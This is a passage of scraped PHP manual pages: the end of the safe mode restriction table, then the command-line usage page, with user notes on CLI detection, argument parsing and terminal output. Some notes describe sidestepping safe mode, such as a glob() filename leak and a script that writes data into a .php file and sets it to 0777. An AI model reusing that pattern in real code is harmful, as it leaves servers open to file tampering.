chgrp() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
chown() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
chmod() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. In addition, you cannot set the SUID, SGID and sticky bits
touch() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
symlink() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed. (note: only the target is checked)
link() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed. (note: only the target is checked)
apache_request_headers() | In safe mode, headers beginning with authorization (case-insensitive) will not be returned.
header() | In safe mode, the uid of the script is added to the realm part of the WWW-Authenticate header if you set this header (used for HTTP Authentication).
PHP_AUTH variables | In safe mode, the variables PHP_AUTH_USER, PHP_AUTH_PW, and AUTH_TYPE are not available in $_SERVER. Regardless, you can still use REMOTE_USER for the USER. (note: only affected since PHP 4.3.0)
highlight_file(), show_source() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed. (note: only affected since PHP 4.2.1)
parse_ini_file() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed. (note: only affected since PHP 4.2.1)
set_time_limit() | Has no effect when PHP is running in safe mode.
max_execution_time | Has no effect when PHP is running in safe mode.
mail() | In safe mode, the fifth parameter is disabled. (note: only affected since PHP 4.2.3)
session_start() | The owner of a script must be the same as owner of a session.save_path directory if the default files session.save_handler is used.
All filesystem and stream functions. | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed. (see the safe_mode_include_dir php.ini option.

User Contributed Notes

Stephen Dewey 13-Jul-2009 12:39
curl_setopt() will not allow you to activate CURLOPT_FOLLOWLOCATION when in safe mode.
tschmieder at bitworks dot de 22-Sep-2007 06:04
refers to the previuos posting of

bananarama
15-May-2006 10:11

"all file-handling and -management functions are restricted, just in case someones wondering why they're not listed here.
a script can run these functions on files without errors, if the files were created (are owned) by the same UID, the script was created (is owned) by."

.... or if the directory, in which the file is located, has the same UID as the script, which tries to use a file in that directory...
bananarama 15-May-2006 01:11
all file-handling and -management functions are restricted, just in case someones wondering why they're not listed here.
a script can run these functions on files without errors, if the files were created (are owned) by the same UID, the script was created (is owned) by.

example:
you upload a script, it is owned by UID 720. you upload a picture, it is owned by UID 720. the script creates a thumbnail of the picture. the thumb is owned by UID 30 (the server/apache). this makes it impossible (?) to run a gallery script, which checks for newly uploaded pictures in order to create and display thumbs of them if you want to check, if a thumbnail already exists. the script would be owned by UID 720, the thumb by UID 30.
you could upload a script which creates a file (e.g. from a text file) with .php ending. this script would be owned by UID 30 and could access the thumbs, but it couldnt read the upload pictures.

<?
  $data = fread(fopen("test.txt", "r"), filesize("test.txt"));

  $file = "test.php";
  if (!$file_handle = fopen($file,"a")) { echo "Cannot open file"; }
  if (!fwrite($file_handle, $data)) { echo "Cannot write to file"; }
  fclose($file_handle);

  chmod("test.php", 0777);
?>
zauker 21-Mar-2006 02:57
The SAFE_MODE handling of glob() needs a checkup for security reasons.

In short - always with SAFE_MODE on:

1) glob() can still fetch all filenames in a directory not owned by the
same UID as the user, if just the first file in the directory (or more
specific, the glob-pattern) happens to be owned by the same user as the
PHP-script.

2a) No warning is raised if glob is used on another owner's directory
and there is no match.

2b) In those cases where SAFE_MODE correctly prohibits glob() from
fetching a list of files, the warning still discloses the first
filename.

Solution: glob() in SAFE_MODE should be restricted in the same way as
opendir() is

see the link http://bugs.php.net/bug.php?id=28932
Jan 23-Oct-2005 02:46
It seems that glob and file_exists functions are also restricted in safe-mode.
Security and Safe Mode
Command line usage
Safe Mode


Using PHP from the command line

Table of Contents

  • Introduction
  • Differences to other SAPIs
  • Options
  • Usage
  • I/O streams
  • Interactive shell
  • Built-in web server

User Contributed Notes

me at unreal4u dot com 26-Oct-2011 09:28
You could use the Linux way of knowing that everything went ok by dying with a numeric code: 0 if everything went ok and practically anything else if something goes terribly wrong. That way;

<?php // hello.php
echo 'hello';
exit(0);
?>
<?php // bye.php
echo 'bye';
exit(1);
?>
<?php // hello-again.php
echo 'hi world!';
exit(0);
?>

calling:
php hello.php && php bye.php && php hello-again.php

would only execute the first two scripts, the last one doesn't get executed because an error ocurred in that script.

Greetings.
Kodeart 29-Aug-2011 02:03
Check directly without calling functions:
<?php
if (PHP_SAPI === 'cli')
{
   // ...
}
?>

You can define a constant to use it elsewhere
<?php
define('ISCLI', PHP_SAPI === 'cli');
?>
Anonymous 23-Aug-2011 03:42
Instead of all these long and .. interesting .. ways to check if you're running from cli, you could always do this:

<?php
function isCli() {
    return php_sapi_name()==="cli";
}
?>
colet at llsys dot com 29-Jul-2011 07:34
If checking defined('STDIN') is inconsistent, you could try:
<?php
empty($_SERVER['SHELL']) && die('shells only please');
?>
I haven't tested this on windows.
mniewerth at ultimediaos dot com 24-Jul-2011 07:02
Regarding the way about the PHP CLI detection, i found out that a test on STDIN will not deliver correct results in every circumstances. That is if we execute the CGI version of PHP on the command line interface, the "defined('STDIN')"-statement will return false. Here is my method to detect the CLI mode.

<?php
class CliCheck
{
    /**
     * Advanced PHP-CLI mode check.
     *
     * @return boolean    Returns true if PHP is running from the CLI or else false.
     *
     * @access public
     * @static
     */
    public static function isCli()
    {
        // If STDIN was not defined and PHP is running as CGI module
        // we can test for the environment variable TERM. This
        // should be a right way how to test the circumstance under
        // what mode PHP is running.
        if(!defined('STDIN') && self::isCgi()) {
            // STDIN was not defined, but if the environment variable TERM
            // is set, it is save to say that PHP is running from CLI.
            if(getenv('TERM')) {
                return true;
            }
            // Now return false, because TERM was not set.
            return false;
        }
        return defined('STDIN');
    }

    /**
     * Simple PHP-CGI mode check.
     *
     * (DSO = Dynamic Shared Object)
     *
     * @link http://httpd.apache.org/docs/current/dso.html DSO
     * @link http://www.php.net/manual/en/function.php-sapi-name.php PHP_SAPI
     *
     * @return boolean    Returns true if PHP is running as CGI module or else false.
     *
     * @access public
     * @static
     */
    public static function isCgi()
    {
        if (substr(PHP_SAPI, 0, 3) == 'cgi') {
            return true;
        } else {
            return false;
        }
        return false;
    }
}
print "PHP is running ".((CliCheck::isCgi()) ? "as CGI modul " : ((!CliCheck::isCli()) ? "as DSO modul " : ""));
print ((CliCheck::isCli()) ? "from the CLI." : ".");
print "\n";
?>
volo 19-May-2011 09:35
Remember that $argv and $argc are not superglobals like $_SERVER. They are not accessible everywhere. If you use them in a function or class, you need to use the typical "global $argv,$argc;" line in order to enable those variables.
Rizwan 20-Apr-2011 04:08
A simple way to check if script is running from browser or cli.

<?php
if(defined('STDIN') )
  echo("Running from CLI");
else
  echo("Not Running from CLI");
?>
Anonymous 28-Jun-2010 07:41
Using CLI (on WIN at least), some INI paths are relative to the current working directory.  For example, if your error_log = "php_errors.log", then php_errors.log will be created (or appended to if already exists) in whatever directory you happen to be in at the moment if you have write access there.  Instead of having random error logs all over the place because of this behavior, you may want to set error_log to a full path, perhaps to the php.exe directory.
ross at golder dot org 22-Dec-2009 10:57
Note that parsing of the shebang line may not always work as expected...

#!/usr/bin/php -dmemory_limit=512M -dsafe_mode=Off
<?php

print "memory_limit=".ini_get("memory_limit")."\n";
print "safe_mode=".ini_get("safe_mode")."\n";

?>

gives...

$ ./test.php
PHP:  Invalid configuration directive
memory_limit=512M -dsafe_mode
safe_mode=
notreallyanaddress at somerandomaddr dot com 02-Dec-2009 05:34
If you want to be interactive with the user and accept user input, all you need to do is read from stdin.

<?php
echo "Are you sure you want to do this?  Type 'yes' to continue: ";
$handle = fopen ("php://stdin","r");
$line = fgets($handle);
if(trim($line) != 'yes'){
    echo "ABORTING!\n";
    exit;
}
echo "\n";
echo "Thank you, continuing...\n";
?>
kazink at gmail dot com 02-Dec-2009 03:58
I had problems running php as CGI in thttpd. I have followed instructions posted by db at digitalmediacreation dot ch, but I was still getting "500 Internal Error" answer from the server. However, I had no problems running php as CLI using a simple wrapper file named index.cgi:

#!/usr/bin/php
<?php
  require_once 'index.php';
?>

but i needed to pass user data through GET and POST, and this method couldn't handle it. I have spent 2 hours figuring out how to run the CGI mode properly, until I finally gave up, and done it in "manual" way. I have just added some code to the wrapper that reads GET and POST data into the proper variables:

#!/usr/bin/php
<?php

  //parse the command line into the $_GET variable
  parse_str($_SERVER['QUERY_STRING'], $_GET);

  //parse the standard input into the $_POST variable
  if (($_SERVER['REQUEST_METHOD'] === 'POST')
   && ($_SERVER['CONTENT_LENGTH'] > 0))
  {
    parse_str(fread(STDIN, $_SERVER['CONTENT_LENGTH']), $_POST);
  }

  require_once 'index.php';
?>

It works well for me. It may be useful if someone else have similar problem.
ca at php dot spamtrak dot org 08-Oct-2009 04:06
I append this to most of my PHP files, to allow command line unit testing of a class.  It ensures that the unit test is only run if the script is run directly, and won't be triggered by an include from another CLI script.

<?php
if (!empty($argc) && strstr($argv[0], basename(__FILE__))) {
   $test = new TestClass();
   $rv = $test->Test();
   die("Test returned $rv\n");
}
?>
dj dot rokx at gmail dot com 11-Sep-2009 01:34
Use PHP as Scripting Language in Windows Vista and 7:

ASSOC .phs=PHPScript
FTPYE PHPScript=[path to]\php.exe -f "%1" -- %*

optional set PATHEXT=.phs;%PATHEXT%

now you can execute any php-script (ext: .phs) from the shell like a .vbs or .cmd.

"c:\testscript.phs arg1 arg2" or with the optional step "c:\testscript arg1 arg2"

i hope this helps somebody.
Wade 06-Sep-2009 10:46
I've just found that the fact that the CLI does *not* change the current directory will make include() and require() calls with relative paths fail. This is because they are relative to the current directory, not to the current executing file, the documentation notwithstanding. In CGI mode, this is the same because it changes the current directory.

One solution is to call the CGI binary rather than the CLI one. A better solutions is to use dirname(__FILE__) in your path names.
fuzzy76 at fuzzy76 dot net 30-Aug-2009 09:30
To detect if run from CLI:

if (defined('STDIN'))

or:

if (isset($argc))
patrick at pwfisher dot com 21-Aug-2009 11:59
This command line option parser supports any combination of three types of options (switches, flags and arguments) and returns a simple array.

[pfisher ~]$ php test.php --foo --bar=baz
  ["foo"]   => true
  ["bar"]   => "baz"

[pfisher ~]$ php test.php -abc
  ["a"]     => true
  ["b"]     => true
  ["c"]     => true

[pfisher ~]$ php test.php arg1 arg2 arg3
  [0]       => "arg1"
  [1]       => "arg2"
  [2]       => "arg3"

<?php
function parseArgs($argv){
    array_shift($argv);
    $out = array();
    foreach ($argv as $arg){
        if (substr($arg,0,2) == '--'){
            $eqPos = strpos($arg,'=');
            if ($eqPos === false){
                $key = substr($arg,2);
                $out[$key] = isset($out[$key]) ? $out[$key] : true;
            } else {
                $key = substr($arg,2,$eqPos-2);
                $out[$key] = substr($arg,$eqPos+1);
            }
        } else if (substr($arg,0,1) == '-'){
            if (substr($arg,2,1) == '='){
                $key = substr($arg,1,1);
                $out[$key] = substr($arg,3);
            } else {
                $chars = str_split(substr($arg,1));
                foreach ($chars as $char){
                    $key = $char;
                    $out[$key] = isset($out[$key]) ? $out[$key] : true;
                }
            }
        } else {
            $out[] = $arg;
        }
    }
    return $out;
}
?>

Full version with comments here: http://pwfisher.com/nucleus/index.php?itemid=45
coffear at gmail dot com 06-Jun-2009 05:06
In the notes it there is an example of running 1 line of PHP using:

php -r 'print_r(get_defined_constants());'

This might work on a UNIX machine but unfortunately on windows it produces the following error message:

Parse error: parse error in Command line code on line 1

Instead of using ' (single quotes) to encompass the PHP code use " (double quotes) instead. You can safely use ' within the code itself however such as:

php -r "echo 'hello';"
SEWilco 07-May-2009 09:23
Notice that piping output to some programs will have unexpected behavior:
               php my_script.php | less

The 'less' program usually sets the terminal mode so pressing ENTER is not necessary.  When using php-cli, it is necessary to press ENTER, unless "!stty sane" is able to fix things for you.  The php command is doing something to the terminal mode despite no interactive shell being requested.
Willy T. Koch 24-Feb-2009 02:11
I'm figuring out how to pipe an email to a php script with postfix. For the email user@example.com:

I created the following line in /etc/aliases:
user:        "|/www/file.php"

file.php is chmod 755

This works fine. But I wanted to test this without having to send an email every time. And this took some searching to figure out, yet it's oh-so simple:

To pipe the file email.txt to the script, write the following in the terminal window:

user@host: php file.php < testepost.txt

I was confused by the | in the aliases file, and didn't get what came after what, etc etc.

Regards,

Willy T. Koch
Norway
patrick smith 11-Nov-2008 07:43
For command-line option definition and parsing, don't forget about the beauty of getopt().

There's a php-native version (http://php.net/getopt) and a PEAR package -- Console_GetOpt (http://pear.php.net/package/Console_Getopt).
Anonymous 26-Oct-2008 08:52
Here's  my modification of "thomas dot harding at laposte dot net" script (below) to read arguments from $argv of the form --name=VALUE and -flag.

"Input":
./script.php -a arg1 --opt1 arg2 -bcde --opt2=val2 arg3 arg4 arg5 -fg --opt3

"print_r Output":
Array
(
    [exec] => ./script.php
    [options] => Array
        (
            [0] => opt1
            [1] => Array
                (
                    [0] => opt2
                    [1] => val2
                )
            [2] => opt3
        )
    [flags] => Array
        (
            [0] => a
            [1] => b
            [2] => c
            [3] => d
            [4] => e
            [5] => f
            [6] => g
        )
    [arguments] => Array
        (
            [0] => arg1
            [1] => arg2
            [2] => arg3
            [3] => arg4
            [4] => arg5
        )
)

<?php
function arguments($args ) {
    $ret = array(
        'exec'      => '',
        'options'   => array(),
        'flags'     => array(),
        'arguments' => array(),
    );

    $ret['exec'] = array_shift( $args );

    while (($arg = array_shift($args)) != NULL) {
        // Is it a option? (prefixed with --)
        if ( substr($arg, 0, 2) === '--' ) {
            $option = substr($arg, 2);

            // is it the syntax '--option=argument'?
            if (strpos($option,'=') !== FALSE)
                array_push( $ret['options'], explode('=', $option, 2) );
            else
                array_push( $ret['options'], $option );

            continue;
        }

        // Is it a flag or a serial of flags? (prefixed with -)
        if ( substr( $arg, 0, 1 ) === '-' ) {
            for ($i = 1; isset($arg[$i]) ; $i++)
                $ret['flags'][] = $arg[$i];

            continue;
        }

        // finally, it is not option, nor flag
        $ret['arguments'][] = $arg;
        continue;
    }
    return $ret;
}//function arguments
?>
tom at thomas dot harding dot net 04-Oct-2008 05:27
To allow a "zero" option value:

replace:

$ret['options'][$com] = !empty($value) ? $value : true;

by:

$ret['options'][$com] = (strlen($value) > 0 ? $value : true);

In the sample below.

Thanks to Chris Chubb to point me out the problem
thomas dot harding at laposte dot net 14-Jun-2008 03:08
Parsing command line: optimization is evil!

One thing all contributors on this page forgotten is that you can suround an argv with single or double quotes. So the join coupled together with the preg_match_all will always break that :)

Here is a proposal:

#!/usr/bin/php
<?php
print_r(arguments($argv));

function arguments ( $args )
{
  array_shift( $args );
  $endofoptions = false;

  $ret = array
    (
    'commands' => array(),
    'options' => array(),
    'flags'    => array(),
    'arguments' => array(),
    );

  while ( $arg = array_shift($args) )
  {

    // if we have reached end of options,
    //we cast all remaining argvs as arguments
    if ($endofoptions)
    {
      $ret['arguments'][] = $arg;
      continue;
    }

    // Is it a command? (prefixed with --)
    if ( substr( $arg, 0, 2 ) === '--' )
    {

      // is it the end of options flag?
      if (!isset ($arg[3]))
      {
        $endofoptions = true;; // end of options;
        continue;
      }

      $value = "";
      $com   = substr( $arg, 2 );

      // is it the syntax '--option=argument'?
      if (strpos($com,'='))
        list($com,$value) = split("=",$com,2);

      // is the option not followed by another option but by arguments
      elseif (strpos($args[0],'-') !== 0)
      {
        while (strpos($args[0],'-') !== 0)
          $value .= array_shift($args).' ';
        $value = rtrim($value,' ');
      }

      $ret['options'][$com] = !empty($value) ? $value : true;
      continue;

    }

    // Is it a flag or a serial of flags? (prefixed with -)
    if ( substr( $arg, 0, 1 ) === '-' )
    {
      for ($i = 1; isset($arg[$i]) ; $i++)
        $ret['flags'][] = $arg[$i];
      continue;
    }

    // finally, it is not option, nor flag, nor argument
    $ret['commands'][] = $arg;
    continue;
  }

  if (!count($ret['options']) && !count($ret['flags']))
  {
    $ret['arguments'] = array_merge($ret['commands'], $ret['arguments']);
    $ret['commands'] = array();
  }
return $ret;
}

exit (0)

/* vim: set expandtab tabstop=2 shiftwidth=2: */
?>
mortals at seznam dot cz 07-May-2008 01:08
If a module SAPI is chosen during configure, such as apxs, or the --disable-cgi option is used, the CLI is copied to {PREFIX}/bin/php during make install  otherwise the CGI is placed there.

versus

Changed CGI install target to php-cgi and 'make install' to install CLI when CGI is selected. (changelog for 5.2.3)
http://www.php.net/ChangeLog-5.php#5.2.3
safak ozpinar 29-Feb-2008 06:32
When you want to get inputs from STDIN, you may use this function if you like using C coding style.

<?php
// up to 8 variables

function scanf($format, &$a0=NULL, &$a1=NULL, &$a2=NULL, &$a3=NULL,
                        &$a4=NULL, &$a5=NULL, &$a6=NULL, &$a7=NULL)
{
    $num_args = func_num_args();
    if($num_args > 1) {
        $inputs = fscanf(STDIN, $format);
        for($i=0; $i<$num_args-1; $i++) {
            $arg = 'a'.$i;
            $$arg = $inputs[$i];
        }
    }
}

scanf("%d", $number);

?>
Anonymous 16-Feb-2008 09:29
I find regex and manually breaking up the arguments instead of havingon $_SERVER['argv'] to do it more flexiable this way.

cli_test.php asdf asdf --help --dest=/var/ -asd -h --option mew arf moo -z

    Array
    (
        [input] => Array
            (
                [0] => asdf
                [1] => asdf
            )

        [commands] => Array
            (
                [help] => 1
                [dest] => /var/
                [option] => mew arf moo
            )

        [flags] => Array
            (
                [0] => asd
                [1] => h
                [2] => z
            )

    )

<?php

function arguments ( $args )
{
    array_shift( $args );
    $args = join( $args, ' ' );

    preg_match_all('/ (--\w+ (?:[= ] [^-]+ [^\s-] )? ) | (-\w+) | (\w+) /x', $args, $match );
    $args = array_shift( $match );

    /*
        Array
        (
            [0] => asdf
            [1] => asdf
            [2] => --help
            [3] => --dest=/var/
            [4] => -asd
            [5] => -h
            [6] => --option mew arf moo
            [7] => -z
        )
    */

    $ret = array(
        'input'    => array(),
        'commands' => array(),
        'flags'    => array()
    );

    foreach ( $args as $arg ) {

        // Is it a command? (prefixed with --)
        if ( substr( $arg, 0, 2 ) === '--' ) {

            $value = preg_split( '/[= ]/', $arg, 2 );
            $com   = substr( array_shift($value), 2 );
            $value = join($value);

            $ret['commands'][$com] = !empty($value) ? $value : true;
            continue;

        }

        // Is it a flag? (prefixed with -)
        if ( substr( $arg, 0, 1 ) === '-' ) {
            $ret['flags'][] = substr( $arg, 1 );
            continue;
        }

        $ret['input'][] = $arg;
        continue;

    }

    return $ret;
}

print_r( arguments( $argv ) );

?>
technorati at gmail dot com 12-Feb-2008 06:21
Here's an update to the script a couple of people gave below to read arguments from $argv of the form --name=VALUE and -flag. Changes include:

Don't use $_ARG - $_ is generally considered reserved for the engine.
Don't use regex where a string operation will do just as nicely
Don't overwrite --name=VALUE with -flag when 'name' and 'flag' are the same thing
Allow for VALUE that has an equals sign in it

<?php
function arguments($argv) {
    $ARG = array();
    foreach ($argv as $arg) {
        if (strpos($arg, '--') === 0) {
            $compspec = explode('=', $arg);
            $key = str_replace('--', '', array_shift($compspec));
            $value = join('=', $compspec);
            $ARG[$key] = $value;
        } elseif (strpos($arg, '-') === 0) {
            $key = str_replace('-', '', $arg);
            if (!isset($ARG[$key])) $ARG[$key] = true;
        }
    }
    return $ARG;
}
?>
earomero _{at}_ gmail.com 28-Oct-2007 03:51
Here's <losbrutos at free dot fr> function modified to support unix like param syntax like <B Crawford> mentions:

<?php
function arguments($argv) {
    $_ARG = array();
    foreach ($argv as $arg) {
        if (preg_match('#^-{1,2}([a-zA-Z0-9]*)=?(.*)$#', $arg, $matches)) {
            $key = $matches[1];
            switch ($matches[2]) {
                case '':
                case 'true':
                $arg = true;
                break;
                case 'false':
                $arg = false;
                break;
                default:
                $arg = $matches[2];
            }

            /* make unix like -afd == -a -f -d */
            if(preg_match("/^-([a-zA-Z0-9]+)/", $matches[0], $match)) {
                $string = $match[1];
                for($i=0; strlen($string) > $i; $i++) {
                    $_ARG[$string[$i]] = true;
                }
            } else {
                $_ARG[$key] = $arg;
            }
        } else {
            $_ARG['input'][] = $arg;
        }
    }
    return $_ARG;
}
?>

Sample:

eromero@ditto ~/workspace/snipplets $ foxogg2mp3.php asdf asdf --help --dest=/var/ -asd -h
Array
(
    [input] => Array
        (
            [0] => /usr/local/bin/foxogg2mp3.php
            [1] => asdf
            [2] => asdf
        )

    [help] => 1
    [dest] => /var/
    [a] => 1
    [s] => 1
    [d] => 1
    [h] => 1
)
james_s2010 at NOSPAM dot hotmail dot com 22-Oct-2007 02:11
I was looking for a way to interactively get a single character response from user. Using STDIN with fread, fgets and such will only work after pressing enter. So I came up with this instead:

#!/usr/bin/php -q
<?php
function inKey($vals) {
    $inKey = "";
    While(!in_array($inKey,$vals)) {
        $inKey = trim(`read -s -n1 valu;echo \$valu`);
    }
    return $inKey;
}
function echoAT($Row,$Col,$prompt="") {
    // Display prompt at specific screen coords
    echo "\033[".$Row.";".$Col."H".$prompt;
}
    // Display prompt at position 10,10
    echoAT(10,10,"Opt : ");

    // Define acceptable responses
    $options = array("1","2","3","4","X");

    // Get user response
    $key = inKey($options);

    // Display user response & exit
    echoAT(12,10,"Pressed : $key\n");
?>

Hope this helps someone.
B Crawford 21-Oct-2007 07:01
I have not seen in this thread any code snippets that support the full *nix style argument parsing. Consider this:

<?php
print_r(getArgs($_SERVER['argv']));

function getArgs($args) {
 $out = array();
 $last_arg = null;
    for($i = 1, $il = sizeof($args); $i < $il; $i++) {
        if( (bool)preg_match("/^--(.+)/", $args[$i], $match) ) {
         $parts = explode("=", $match[1]);
         $key = preg_replace("/[^a-z0-9]+/", "", $parts[0]);
            if(isset($parts[1])) {
             $out[$key] = $parts[1];
            }
            else {
             $out[$key] = true;
            }
         $last_arg = $key;
        }
        else if( (bool)preg_match("/^-([a-zA-Z0-9]+)/", $args[$i], $match) ) {
            for( $j = 0, $jl = strlen($match[1]); $j < $jl; $j++ ) {
             $key = $match[1]{$j};
             $out[$key] = true;
            }
         $last_arg = $key;
        }
        else if($last_arg !== null) {
         $out[$last_arg] = $args[$i];
        }
    }
 return $out;
}

/*
php file.php --foo=bar -abc -AB 'hello world' --baz

produces:

Array
(
  [foo] => bar
  [a] => true
  [b] => true
  [c] => true
  [A] => true
  [B] => hello world
  [baz] => true
)

*/
?>
losbrutos at free dot fr 27-Sep-2007 05:54
an another "another variant" :

<?php
function arguments($argv)
{
  $_ARG = array();
  foreach ($argv as $arg)
  {
    if (preg_match('#^-{1,2}([a-zA-Z0-9]*)=?(.*)$#', $arg, $matches))
    {
      $key = $matches[1];
      switch ($matches[2])
      {
        case '':
        case 'true':
          $arg = true;
          break;
        case 'false':
          $arg = false;
          break;
        default:
          $arg = $matches[2];
      }
      $_ARG[$key] = $arg;
    }
    else
    {
      $_ARG['input'][] = $arg;
    }
  }
  return $_ARG;
}
?>

$php myscript.php arg1 -arg2=val2 --arg3=arg3 -arg4 --arg5 -arg6=false

Array
(
    [input] => Array
        (
            [0] => myscript.php
            [1] => arg1
        )

    [arg2] => val2
    [arg3] => arg3
    [arg4] => true
    [arg5] => true
    [arg5] => false
)
dino (at) asttra (dot) com (dot) br 16-Aug-2007 12:24
For those who was unable to clear the windows screen trying to run CLS command:

CLS is not an windows executable file! It is an option from command.com!

So, the rigth command is

   system("command /C cls");
lucas dot vasconcelos at gmail dot com 22-Jul-2007 11:04
Just another variant of previous script that group arguments doesn't starts with '-' or '--'

<?php
function arguments($argv) {
    $_ARG = array();
    foreach ($argv as $arg) {
      if (ereg('--([^=]+)=(.*)',$arg,$reg)) {
        $_ARG[$reg[1]] = $reg[2];
      } elseif(ereg('^-([a-zA-Z0-9])',$arg,$reg)) {
            $_ARG[$reg[1]] = 'true';
      } else {
            $_ARG['input'][]=$arg;
      }
    }
  return $_ARG;
}

print_r(arguments($argv));
?>

$ php myscript.php --user=nobody /etc/apache2/*
Array
(
    [input] => Array
        (
            [0] => myscript.php
            [1] => /etc/apache2/apache2.conf
            [2] => /etc/apache2/conf.d
            [3] => /etc/apache2/envvars
            [4] => /etc/apache2/httpd.conf
            [5] => /etc/apache2/mods-available
            [6] => /etc/apache2/mods-enabled
            [7] => /etc/apache2/ports.conf
            [8] => /etc/apache2/sites-available
            [9] => /etc/apache2/sites-enabled
        )

    [user] => nobody
)
bluej100@gmail 25-Jun-2007 11:02
In 5.1.2 (and others, I assume), the -f form silently drops the first argument after the script name from $_SERVER['argv']. I'd suggest avoiding it unless you need it for a special case.
eric dot brison at anakeen dot com 04-Jun-2007 05:16
Just a variant of previous script to accept arguments with '=' also
<?php
function arguments($argv) {
    $_ARG = array();
    foreach ($argv as $arg) {
      if (ereg('--([^=]+)=(.*)',$arg,$reg)) {
        $_ARG[$reg[1]] = $reg[2];
      } elseif(ereg('-([a-zA-Z0-9])',$arg,$reg)) {
            $_ARG[$reg[1]] = 'true';
        }

    }
  return $_ARG;
}
?>
$ php myscript.php --user=nobody --password=secret -p --access="host=127.0.0.1 port=456"
Array
(
    [user] => nobody
    [password] => secret
    [p] => true
    [access] => host=127.0.0.1 port=456
)
contact at nlindblad dot org 12-May-2007 02:55
While working with command line scripts it is tedious to handle the arguments in a numerated array.

The following code will:

If the argument is of the form –NAME=VALUE it will be represented in the array as an element with the key NAME and the value VALUE. I the argument is a flag of the form -NAME it will be represented as a boolean with the name NAME with a value of true in the associative array.

<?php

function arguments($argv) {
    $_ARG = array();
    foreach ($argv as $arg) {
        if (ereg('--[a-zA-Z0-9]*=.*',$arg)) {
            $str = split("=",$arg); $arg = '';
            $key = ereg_replace("--",'',$str[0]);
            for ( $i = 1; $i < count($str); $i++ ) {
                $arg .= $str[$i];
            }
                        $_ARG[$key] = $arg;
        } elseif(ereg('-[a-zA-Z0-9]',$arg)) {
            $arg = ereg_replace("-",'',$arg);
            $_ARG[$arg] = 'true';
        }

    }
return $_ARG;
}

?>

Example:

<?php print_r(arguments($argv)); ?>

# php5 myscript.php --user=nobody --password=secret -p

Array
(
    [user] => nobody
    [password] => secret
    [p] => true
)
Jouni 08-Apr-2007 03:27
I had a problem with PHP 5.2.0 (cli) (winXP) that no output was printed when I tried to run any file. Using the -n switch solved the problem.

Apparently the interpreter can't always find php.ini, even though both exist in the same folder and the PATH variable is set correctly. No error messages were printed either.
rob 23-Mar-2007 11:48
i use emacs in c-mode for editing.  in 4.3, starting a cli script like so:

#!/usr/bin/php -q /* -*- c -*- */
<?php

told emacs to drop into c-mode automatically when i loaded the file for editing.  the '-q' flag didn't actually do anything (in the older cgi versions, it suppressed html output when the script was run) but it caused the commented mode line to be ignored by php.

in 5.2, '-q' has apparently been deprecated.  replace it with '--' to achieve the 4.3 invocation-with-emacs-mode-line behavior:

#!/usr/bin/php -- /* -*- c -*- */
<?php

don't go back to your 4.3 system and replace '-q' with '--'; it seems to cause php to hang waiting on STDIN...
djcassis at gmail 09-Mar-2007 07:14
To display colored text when it is actually supported :
<?php
echo "\033[31m".$myvar; // red foreground
echo "\033[41m".$myvar; // red background
?>

To reset these settings :
<?php
echo "\033[0m";
?>

More fun :
<?php
echo "\033[5;30m;\033[48mWARNING !"; // black blinking text over red background
?>

More info here : http://www.tldp.org/HOWTO/Bash-Prompt-HOWTO/x329.html
jgraef at users dot sf dot net 26-Nov-2006 08:46
Hi,
This function clears the screen, like "clear screen"

<?php
  function clearscreen($out = TRUE) {
    $clearscreen = chr(27)."[H".chr(27)."[2J";
    if ($out) print $clearscreen;
    else return $clearscreen;
  }
?>
goalain eat gmail dont com 14-Nov-2006 12:57
An addition to my previous post (you can replace it)

If your php script doesn't run with shebang (#!/usr/bin/php),
and it issues the beautifull and informative error message:
"Command not found."  just dos2unix yourscript.php
et voila.

If you still get the "Command not found."
Just try to run it as ./myscript.php , with the "./"
if it works - it means your current directory is not in the executable search path.

If your php script doesn't run with shebang (#/usr/bin/php),
and it issues the beautifull and informative message:
"Invalid null command." it's probably because the "!" is missing in the the shebang line (like what's above) or something else in that area.

\Alon
16-Sep-2006 11:05
It seems like 'max_execution_time' doesn't work on CLI.

<?php
php -d max_execution_time=20
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
?>
will print string(2) "20", but if you'l run infinity while: while(true) for example, it wouldn't stop after 20 seconds.
Testes on Linux Gentoo, PHP 5.1.6.
hobby6_at_hotmail.com 15-Sep-2006 03:59
On windows, you can simulate a cls by echoing out just \r.  This will keep the cursor on the same line and overwrite what was on the line.

for example:

<?php
    echo "Starting Iteration" . "\n\r";
    for ($i=0;$i<10000;$i++) {
        echo "\r" . $i;
    }
    echo "Ending Iteration" . "\n\r";
?>
stromdotcom at hotmail dot com 21-Feb-2006 10:27
Spawning php-win.exe as a child process to handle scripting in Windows applications has a few quirks (all having to do with pipes between Windows apps and console apps).

To do this in C++:

// We will run php.exe as a child process after creating
// two pipes and attaching them to stdin and stdout
// of the child process
// Define sa struct such that child inherits our handles

SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES) };
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;

// Create the handles for our two pipes (two handles per pipe, one for each end)
// We will have one pipe for stdin, and one for stdout, each with a READ and WRITE end
HANDLE hStdoutRd, hStdoutWr, hStdinRd, hStdinWr;

// Now create the pipes, and make them inheritable
CreatePipe (&hStdoutRd, &hStdoutWr, &sa, 0))
SetHandleInformation(hStdoutRd, HANDLE_FLAG_INHERIT, 0);
CreatePipe (&hStdinRd, &hStdinWr, &sa, 0)
SetHandleInformation(hStdinWr, HANDLE_FLAG_INHERIT, 0);

// Now we have two pipes, we can create the process
// First, fill out the usage structs
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdOutput = hStdoutWr;
